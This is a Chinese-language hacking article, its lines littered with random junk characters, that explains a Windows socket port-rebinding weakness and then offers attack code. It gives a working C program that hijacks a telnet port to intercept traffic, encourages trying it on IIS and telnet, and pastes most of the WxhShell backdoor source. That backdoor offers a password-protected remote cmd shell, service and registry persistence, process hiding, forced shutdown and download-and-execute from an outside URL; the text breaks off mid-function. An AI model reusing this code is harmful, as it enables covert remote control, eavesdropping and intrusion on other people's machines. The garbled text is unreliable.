在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
JZB@K6 ~dO s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\~'+TW p*(]8pDC saddr.sin_family = AF_INET;
V .VV:`S 5*7
\Yjk? saddr.sin_addr.s_addr = htonl(INADDR_ANY);
qct:xviH<| a,*~wmg bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
1]Gp\P} `1"Xj ^
YM 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
w
B[H& +46?+kKt 这意味着什么?意味着可以进行如下的攻击:
:0B'
b [\e2 ID; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
G=%SMl>[ B":u5_B 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
&c1zEgl :u>9H{a 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
<',bqsg[ Lj03Mx.2S 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
VtD:'L- 6,;7iA] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
}N<> z G8_|w6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
. 'rC'FT S?Z"){ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
vS'5Lm ,\n%e' #include
L5yv}:.U #include
\4|o5, +(@ #include
|cUBS)[)X #include
~!{y3thZ DWORD WINAPI ClientThread(LPVOID lpParam);
ZJ|'$=lR int main()
>
H(o=39s {
AjA.="3 WORD wVersionRequested;
DQOEntw DWORD ret;
ON<X1eU WSADATA wsaData;
9n[ovX 7n! BOOL val;
w>ap8><4 SOCKADDR_IN saddr;
!*l5%H SOCKADDR_IN scaddr;
Sx3R2-!Z int err;
Z>zW83a SOCKET s;
)j>BvO SOCKET sc;
A[O' e int caddsize;
Z,jK(7D(
HANDLE mt;
nJ-U* yz DWORD tid;
@d86l.= wVersionRequested = MAKEWORD( 2, 2 );
B`SHr"k!V[ err = WSAStartup( wVersionRequested, &wsaData );
coQ>CbHg if ( err != 0 ) {
bR}{xHe printf("error!WSAStartup failed!\n");
q!P{a^Fnc return -1;
qKd&d }
rVo?I saddr.sin_family = AF_INET;
NYcF]K}[ R59'KR2? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
52JtEt7E #ig* ! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
>?Ps5n]b saddr.sin_port = htons(23);
L4L[@tMPmY if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
tX#8G09G+ {
!Yan}{A, printf("error!socket failed!\n");
=fr_` "?k return -1;
1v^eXvY }
\E<t'\>@X val = TRUE;
[10;Mg //SO_REUSEADDR选项就是可以实现端口重绑定的
Iq[Z5k(K if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
1]<wZV}. {
Wa|lWIMK printf("error!setsockopt failed!\n");
%"0g}tK6 return -1;
u:0M,Ye }
9G@
J#vsqr //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
z_LN*u
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$M=W`E[g //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
{)8!> K%G V]$Tbxg if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
(NBq!;_2,x {
nwm1YPs%v] ret=GetLastError();
(n,!v) printf("error!bind failed!\n");
} QqmDK. return -1;
`fRp9o/ }
=,-&h
V listen(s,2);
aA-gl9 while(1)
h^}r$k_n {
dwc$#cMf caddsize = sizeof(scaddr);
igD,|YSK`z //接受连接请求
Y@Zv52, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
cKKl\g@} if(sc!=INVALID_SOCKET)
lp;=f {
\%FEQa0u mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
?{
0MF if(mt==NULL)
{yPiBu {
/=bg(?nX printf("Thread Creat Failed!\n");
CI )89` break;
_V`Gmy[]p }
DJmT]Q]o) }
0cwb^ffN CloseHandle(mt);
e5 ?;{H }
@N-P[.qL" closesocket(s);
^<}eONa WSACleanup();
/M1 / return 0;
/bd1Bi }
uzx?U3.\ DWORD WINAPI ClientThread(LPVOID lpParam)
~X`_g/5X {
W_E0+ SOCKET ss = (SOCKET)lpParam;
{|kEGq~aE SOCKET sc;
_8U
5mW unsigned char buf[4096];
u,R;=DNl SOCKADDR_IN saddr;
z[I3k long num;
f/Lyc=-] DWORD val;
mXH\z DWORD ret;
9y~5@/32R //如果是隐藏端口应用的话,可以在此处加一些判断
nKzS2u=:Y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
@,Iyn<v{B saddr.sin_family = AF_INET;
`bJ+r)+5 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
#Wz7ju; saddr.sin_port = htons(23);
w)hH8jx{ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8"zFTP*;u {
EC4RA'Bg1k printf("error!socket failed!\n");
.qcIl)3 return -1;
POtj6 ?a }
Oz[]]`C1 val = 100;
jx3J$5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
cBO.96ZHE {
=wEqI)Td ret = GetLastError();
6tPgFa#N return -1;
XPhC*r }
Y|NANjEAfm if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
s
9Y'MQo* {
/2!Wy6p ret = GetLastError();
o-))R| ~z return -1;
8pQx6QE }
\C
)S3!h if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
QD6in>+B@ {
(Mk9##R# printf("error!socket connect failed!\n");
ky`xBO= closesocket(sc);
(W~')A"hC' closesocket(ss);
\D9J!K82 return -1;
oM&}akPE }
c?;YufH'j while(1)
!5hNG('f {
}J~
d6m //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
R<J1bH1n3 //如果是嗅探内容的话,可以再此处进行内容分析和记录
_7h:NLd //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
g8JO/s5xV num = recv(ss,buf,4096,0);
7Z#r9Vr if(num>0)
3q!hY send(sc,buf,num,0);
xIN&>D'|N else if(num==0)
vnNX)$f break;
RZtY3:FBx| num = recv(sc,buf,4096,0);
Y~P1r]piB if(num>0)
{W[OjPC~F send(ss,buf,num,0);
OM]d}}=Y else if(num==0)
s7A3CY]-> break;
4pin\ZS:C }
29xm66
closesocket(ss);
x.+ r.cAXH closesocket(sc);
m+t<<5I[- return 0 ;
F ka^0 }
(9#$za> |L@&plyB- 00?_10x) ==========================================================
'S_OOzpC oTtJ]`T 下边附上一个代码,,WXhSHELL
pf\
Ybbs x:7"/H| ==========================================================
Y+,ii$Ce~ cN#c25S> #include "stdafx.h"
&%@b;)]J B# >7;xy> #include <stdio.h>
xnuu#@f #include <string.h>
B<99-7x3 #include <windows.h>
kq{PM-]l #include <winsock2.h>
x6i7x" #include <winsvc.h>
M+7&kt0; #include <urlmon.h>
!CBvFl/v Oy,7>vWQI #pragma comment (lib, "Ws2_32.lib")
@O!BQ^'hk# #pragma comment (lib, "urlmon.lib")
!O`aaLc EO&PabZWR #define MAX_USER 100 // 最大客户端连接数
Ft&ARTsa* #define BUF_SOCK 200 // sock buffer
7s2 l 3 #define KEY_BUFF 255 // 输入 buffer
Io|3zE*< m| /?((s #define REBOOT 0 // 重启
hU3! #define SHUTDOWN 1 // 关机
sew0n`d1 K1th>!JW' #define DEF_PORT 5000 // 监听端口
6n|R<DO%\ p;y\%i_ #define REG_LEN 16 // 注册表键长度
BHNcE*U}@? #define SVC_LEN 80 // NT服务名长度
CAbeb+O 9J*M~gKbz // 从dll定义API
.T2P%Jn. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
pR3@loFQ`o typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
>@Nn_d typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
m-<"`:+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
X,]E { $
$=N'Q // wxhshell配置信息
YB`;<+sY struct WSCFG {
'`)r<lYN, int ws_port; // 监听端口
T J!d7 char ws_passstr[REG_LEN]; // 口令
.T>^bLuFy int ws_autoins; // 安装标记, 1=yes 0=no
8 h.Dc&V char ws_regname[REG_LEN]; // 注册表键名
^$N}[1 char ws_svcname[REG_LEN]; // 服务名
R{3?`x!fY char ws_svcdisp[SVC_LEN]; // 服务显示名
bAUruTn char ws_svcdesc[SVC_LEN]; // 服务描述信息
O`;e^PhN char ws_passmsg[SVC_LEN]; // 密码输入提示信息
L@|xpq int ws_downexe; // 下载执行标记, 1=yes 0=no
#OQT@uF! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
fEWXC|" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
j3Sz+kOf, Z[,A>tJ };
kBRy(?Mft& j>}<FW-N // default Wxhshell configuration
qg`8f? struct WSCFG wscfg={DEF_PORT,
6>X9|w "xuhuanlingzhe",
5DI&pR1eZ 1,
QY^v*+lr\ "Wxhshell",
>" &&,~ "Wxhshell",
mRECdGst "WxhShell Service",
`W*b?e|H1 "Wrsky Windows CmdShell Service",
NwISf "Please Input Your Password: ",
i$z).S?1 1,
hhM?I$t: "
http://www.wrsky.com/wxhshell.exe",
/c&;WlE/n "Wxhshell.exe"
r(VGdG };
Ft[)m#Dj` sTb@nrRxH // 消息定义模块
38gHM9T
xh char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
* NB:"1x char *msg_ws_prompt="\n\r? for help\n\r#>";
ru#CywK{{; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
7 {n>0@_ char *msg_ws_ext="\n\rExit.";
@V7HxW7RX char *msg_ws_end="\n\rQuit.";
GyVRe]<>B char *msg_ws_boot="\n\rReboot...";
Edp%z"J;C char *msg_ws_poff="\n\rShutdown...";
,&q
Q[i char *msg_ws_down="\n\rSave to ";
"!AbH<M;@ %3@a|#g char *msg_ws_err="\n\rErr!";
Ih;I&D+e; char *msg_ws_ok="\n\rOK!";
z m&?G ] 'B4O1 char ExeFile[MAX_PATH];
8HaBil int nUser = 0;
C-TATH%f^ HANDLE handles[MAX_USER];
K:JM*4W int OsIsNt;
A7hWAq zz7#gU SERVICE_STATUS serviceStatus;
ssx#\ SERVICE_STATUS_HANDLE hServiceStatusHandle;
m%p;>:"R pR,eus;8 // 函数声明
D-S"?aO- int Install(void);
79bt%P int Uninstall(void);
!8Mi+ZV int DownloadFile(char *sURL, SOCKET wsh);
8%,u~ELA int Boot(int flag);
u&npUw^Va void HideProc(void);
,K-?M5(n9 int GetOsVer(void);
"%?$BoJR0 int Wxhshell(SOCKET wsl);
S_|VlI void TalkWithClient(void *cs);
{
ML)F ]] int CmdShell(SOCKET sock);
}u
`~lw(Z int StartFromService(void);
;+Mee^E>! int StartWxhshell(LPSTR lpCmdLine);
^h5h kIx0 }Y=X{3+~. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
s~)I1G VOID WINAPI NTServiceHandler( DWORD fdwControl );
<0M2qt8 I&s!} $cD // 数据结构和表定义
d>YX18'<Q SERVICE_TABLE_ENTRY DispatchTable[] =
3yXSv1 {
sq;nUA= {wscfg.ws_svcname, NTServiceMain},
4r-CF#o {NULL, NULL}
Es^=&2'' };
Q\qI+F2? 5_yu4{@;y // 自我安装
Z<4Du int Install(void)
+W}dO# {
b&_u+g char svExeFile[MAX_PATH];
-nL!#R{e HKEY key;
Dx*tolF strcpy(svExeFile,ExeFile);
!=B=1th4 r1R\cor // 如果是win9x系统,修改注册表设为自启动
tT`{xM if(!OsIsNt) {
D3.$Vl,. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
()`cW>[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7+c}D>/`: RegCloseKey(key);
EjjW%"C, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
pLtAusx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
hVLVMqd RegCloseKey(key);
0V!@*Z return 0;
|jw{7\+ }
p8bAz }
f$I$A(0P }
y=k!>Y|E else {
-q")qNt. ig}H7U2q@ // 如果是NT以上系统,安装为系统服务
_2Hehw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
YX,xC-37y if (schSCManager!=0)
pY"&=I79tb {
&3~_9+ SC_HANDLE schService = CreateService
zYZ^/7) (
^3
6oqe{ schSCManager,
hI}rW^o^ wscfg.ws_svcname,
$:!L38[7$ wscfg.ws_svcdisp,
0WO-+eRB/ SERVICE_ALL_ACCESS,
)>+J`NFa SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
_Y8RP% SERVICE_AUTO_START,
{u@w^
hZ$ SERVICE_ERROR_NORMAL,
^>/] Qi svExeFile,
u[b0MNE~ NULL,
Hr}pO"% NULL,
zLS=>iLD{ NULL,
c[zaYcbl NULL,
&$<7]a\dM NULL
rd
hM#? );
wVac6q
if (schService!=0)
QKt+Orz {
9|5>?'CqP CloseServiceHandle(schService);
*If]f0?% CloseServiceHandle(schSCManager);
{Ip)%uR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
g( -}M` strcat(svExeFile,wscfg.ws_svcname);
s&Lyg>>` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Z0!yTM/C RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$geDB~ 2> RegCloseKey(key);
nZP%Z=p7 return 0;
2y` :#e`x1 }
9Lp[y%{GP }
FF'Ul4y CloseServiceHandle(schSCManager);
Q2jl61d_9 }
.~Y%
AI }
r;'Vy0?AL 1 ,e`, return 1;
m>8tA+K)+) }
1WJ%n; ,mm9X\ ' // 自我卸载
Ps=<@,dks int Uninstall(void)
0{Bhr12V {
YH-+s
HKEY key;
FTT=h0t z>9gt if(!OsIsNt) {
%LZ-i?DL4Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
3lG=.yD RegDeleteValue(key,wscfg.ws_regname);
Y>a2w zr RegCloseKey(key);
x^u[L$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
IKVS7m RegDeleteValue(key,wscfg.ws_regname);
Wt $q{g{C RegCloseKey(key);
%o4HCzId< return 0;
\L4+Dv<z }
8Ssk>M* }
@$]
CC1Y }
DfX}^'#m+ else {
"Qfw)!# ]~J.YX9ST SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
n^:Wc[[m if (schSCManager!=0)
~h@<14c{X {
u8sK~1CPf SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
C$#X6Q!, if (schService!=0)
bP3S{Jt-| {
^_o9%)RL( if(DeleteService(schService)!=0) {
y
jQpdO CloseServiceHandle(schService);
RQt\_x7P CloseServiceHandle(schSCManager);
&.`/ln return 0;
n=tg{_9f% }
EWn\]f| CloseServiceHandle(schService);
<h<4R Rj }
l!9G CloseServiceHandle(schSCManager);
]xf|xs }
,.PW
qfb }
_?J:Z*z? oMer+=vH return 1;
x"xtILrI }
#M5[TN! Tt*n.HA // 从指定url下载文件
(U#9 int DownloadFile(char *sURL, SOCKET wsh)
:"e,&
% {
3|g]2|~w@h HRESULT hr;
mbCY\vEl char seps[]= "/";
2%oo.?!R char *token;
'@
C\ ,E char *file;
pGh A char myURL[MAX_PATH];
3t^r;b char myFILE[MAX_PATH];
a eo/4 BR[f{)a5 strcpy(myURL,sURL);
b*@y/ e\u` token=strtok(myURL,seps);
0"O22<K3a while(token!=NULL)
A"`(^#a {
.f~x*@ file=token;
q9mYhT/Im token=strtok(NULL,seps);
p/GYfa
dU }
AroXf#. xs ^$fn\ GetCurrentDirectory(MAX_PATH,myFILE);
<+2M,fq+ strcat(myFILE, "\\");
ngC|BLT%h strcat(myFILE, file);
2 -
? send(wsh,myFILE,strlen(myFILE),0);
*q/oS8vavd send(wsh,"...",3,0);
5Zdxn> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
h=Xr J if(hr==S_OK)
kH10z~(e return 0;
tzFgPeo$; else
b6E,u*)" return 1;
)$ +5imi <^,5z!z} }
I];Hx'/<~ V6{P4 1_ // 系统电源模块
Axtf,x+lH int Boot(int flag)
,0=@cJ {
m+Bt9|d HANDLE hToken;
beM}({:` TOKEN_PRIVILEGES tkp;
,'69RL?-Wg !b+/zXp3I if(OsIsNt) {
L8zY?v(bG OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
?MhY;z`= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
|Skxa\MI tkp.PrivilegeCount = 1;
#[a+m tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
8`/nk`; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
(!^(74 if(flag==REBOOT) {
o]vU(j_Ju if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
B[R1XpB7 return 0;
$A/$M\: }
i C
nWb else {
k_c8\::p# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
2Hp#~cE+. return 0;
c%+9uu3 }
fy`e)?46 }
ZJxUv
{J else {
(|PxR#{l< if(flag==REBOOT) {
qq+fUfB2: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
T"2D<7frbo return 0;
_=.f+1W }
3Hli^9&OX_ else {
^BruRgc+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~X/1% return 0;
Z ?{;|Z5 }
b%fn1Ag9 }
aiKZ$KLC |W/_S^ C return 1;
Rj|8lK;, }
;J[1S 4oF8F)ASj // win9x进程隐藏模块
3PEv.hGx void HideProc(void)
ZMHb {
:(|;J<R%_ Ba\l`$%X HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
T`;>Kq:s if ( hKernel != NULL )
JWa9[Dj {
x"Hi!h)v pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
2B#
]z ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
ueiXY| FreeLibrary(hKernel);
XZv(B^ }
~7W?W< IQS:tL/ return;
T>&d/$;]
}
wnL\.%Y^ _d'x6$Jg // 获取操作系统版本
24)3^1P\V int GetOsVer(void)
D! 1oYr {
E0<9NFQr7 OSVERSIONINFO winfo;
}'mBqn winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
A3p@hQl GetVersionEx(&winfo);
-$E_L:M if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8}\Lt return 1;
/.<T^p@\& else
vMiZ:*iaj@ return 0;
Bf;dp`(/ }
8"4&IX '*5I5'[ X, // 客户端句柄模块
LFCcV<~ int Wxhshell(SOCKET wsl)
oyBBW?m {
;~$_A4; SOCKET wsh;
Hb KJ&^ struct sockaddr_in client;
gL(ny/Ob9 DWORD myID;
-,Q
!: W27EU/+3 while(nUser<MAX_USER)
iw\RQ
0 {
G SXe=? int nSize=sizeof(client);
ISI\<qx wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
8'Z#sM^E if(wsh==INVALID_SOCKET) return 1;
" r!O9X6 !e?GS"L~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
O!}TZfC if(handles[nUser]==0)
Cg/L/0Ak closesocket(wsh);
/2K4ka<?7 else
=h?WT* nUser++;
y]B?{m``6 }
7u!i)<pn WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
)z/+!y P {x`eD0 return 0;
GqXnOmk }
{H+~4XG )\C:| // 关闭 socket
J#7\R':}zl void CloseIt(SOCKET wsh)
'ao<gTUbu {
;Ft_ Xiq closesocket(wsh);
LMf_wsp nUser--;
}1P>^I"[Y ExitThread(0);
|*W`}i }
{)j3Pn `H6-g=C // 客户端请求句柄
5-M EOy( void TalkWithClient(void *cs)
CpuL[|51 {
t<M^ /xe2 V,<3uQD9a SOCKET wsh=(SOCKET)cs;
#1i&!et&/ char pwd[SVC_LEN];
WG8}}`F| char cmd[KEY_BUFF];
LfEeFF=#n char chr[1];
5w)tsGX\ int i,j;
V?Y;.n&y "d60IM#N? while (nUser < MAX_USER) {
hA.?19<Z Vu '3%~ if(wscfg.ws_passstr) {
-y70-K3 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\kU0D //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
aA?Uf~ "t //ZeroMemory(pwd,KEY_BUFF);
&FF%VUfQJ i=0;
96UL](l(` while(i<SVC_LEN) {
")MjR1p >4>!zZ // 设置超时
=*7K_M& fd_set FdRead;
{<{
O! struct timeval TimeOut;
!63p?Q= FD_ZERO(&FdRead);
7U>Xi'? FD_SET(wsh,&FdRead);
g5X;]%: TimeOut.tv_sec=8;
;uj&j1 TimeOut.tv_usec=0;
QFMR~6 ? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
F!*u}8/_! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
duCxYhh| j+He8w-4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pj:s+7"t pwd
=chr[0]; ?.d6!vA
if(chr[0]==0xd || chr[0]==0xa) { \ s^a4l2
pwd=0; q(sEN!^L`
break; =e2|:Ba!
} InnjZ>$
i++; @j*K|+X"
} (3Hz=k_
R57>z`;
// 如果是非法用户,关闭 socket ;i*<HNQ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RKoM49W
} jC3ta
EkotVzR5
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f%fD>a
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `yYo Vu*
U.]5UP:a
while(1) { JDcc`&`M
e 4-
ZeroMemory(cmd,KEY_BUFF); NUBf>~_}
-j1?lY
// 自动支持客户端 telnet标准 Vmq:As^a
j=0; l"70|~
while(j<KEY_BUFF) { mw2/jA7
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]X
y2km]
cmd[j]=chr[0];
q1!45a
if(chr[0]==0xa || chr[0]==0xd) { {cmY`to
cmd[j]=0; W^{zlg
break; !nh7<VJ
} )Il)
H
j++; 28,Hd!{
} VfWU-lJ
/J''`Tf
// 下载文件 0c6b_%Rd
if(strstr(cmd,"http://")) { KE>|,Ur
send(wsh,msg_ws_down,strlen(msg_ws_down),0); v_M-:e3`
if(DownloadFile(cmd,wsh)) 2d),*Cvf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nn[OC=cDN
else ?=zF]J:G1w
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A[W3.$s
} h9<*+T
else { 6Ih8~Hu
L'(ei7Z
switch(cmd[0]) { 7i-G5%w7
\ZN> 7?Vs
// 帮助 ncw)VH;_-
case '?': { n~ w.\939@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }7?n\I+n"
break; sz;B-1^6
} ykAZP[^'
// 安装 F|mppY'<J
case 'i': { ViZ Tl~
if(Install()) xF4S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VcI'+IoR?
else [;6,lI}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $?x;?wS0V
break; -|F(qf
} fcaUj9qN
// 卸载 *CtWDUxSdW
case 'r': { 7]\_7L|>]
if(Uninstall()) h 8Shf"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g$X4ZRSel
else
h{ xq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8v{0=9,Z
break; 'PO+P~|oa&
} M N-j$-y}
// 显示 wxhshell 所在路径 Sq<ds}o'8l
case 'p': { ;og[q
char svExeFile[MAX_PATH]; olA 1,8
strcpy(svExeFile,"\n\r"); Z+p'3
strcat(svExeFile,ExeFile); {Xr|L
send(wsh,svExeFile,strlen(svExeFile),0); "XKcbdr8-
break; $TU:iv1Fm
} Dx1f<A1
// 重启 =74yhPAW
case 'b': { YCBp]xuE
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {3)^$F=T
if(Boot(REBOOT)) !H)Cua)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]2zzY::Sd=
else { h7?uM^p
closesocket(wsh); p. %lE!v
ExitThread(0); "W71#n+[
} _;zIH5 H
break; yj<j>JtN
} T:<mme3v
// 关机 "UM*(&
case 'd': { YRU1^=v
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @m`1Vq?O
if(Boot(SHUTDOWN)) y)//u:l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 77zfRSb+
else { 0:C ^-zrx
closesocket(wsh); $M:Ru@Du2
ExitThread(0); $u"*n\k>
} ^ "D
break; ;\mTm;]G
} %DQ!#Nl*
// 获取shell %f-Uwq&}Y"
case 's': { {zNFp#z
CmdShell(wsh); mMt~4(5
closesocket(wsh); Q[6<Y,}(pd
ExitThread(0);
5~!&x@
break; rl__3q
} +.3,(l
// 退出 :qAF}|6
case 'x': { f.e4 C,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }LA7ku
CloseIt(wsh); +$CO
break; #Y_v0.N
} qA;!Pql`
// 离开 y+aL5$x6
case 'q': { UL3++bt
send(wsh,msg_ws_end,strlen(msg_ws_end),0); c{(4s6D
closesocket(wsh); Bk
yW
WSACleanup(); ^`*p;&(K\^
exit(1); 'Dx_n7&=
break; T GuvyY
} FfSKE
} Z*Lv!6WS
} h*lU&8)m\
uP.[,V0@^
// 提示信息 HYcwtw6
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i_'u:P<t
} KQulz
} [g Y.h/
k62KZ5| D
return; @ak3ZNor
} 8|2I/#F}]
}uo.N
// shell模块句柄 4xsnN@b
int CmdShell(SOCKET sock) r1]DkX <6
{ y9::m]s
STARTUPINFO si; gPf^dGi7t
ZeroMemory(&si,sizeof(si)); GiS{=+=5
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fa#5pys
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nq,P.~l
PROCESS_INFORMATION ProcessInfo; d>bS)
char cmdline[]="cmd"; wM0P#+bA\
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z$]HZ#aRE
return 0; p6*|)}T_%
} Kc#42C;t/
IzWS6!zKU
// 自身启动模式 \0bZ1"
int StartFromService(void) mA" 82"
{ JANP_b:t
typedef struct XJ*W7HD
{ OE8H |?%
DWORD ExitStatus; ^(.utO
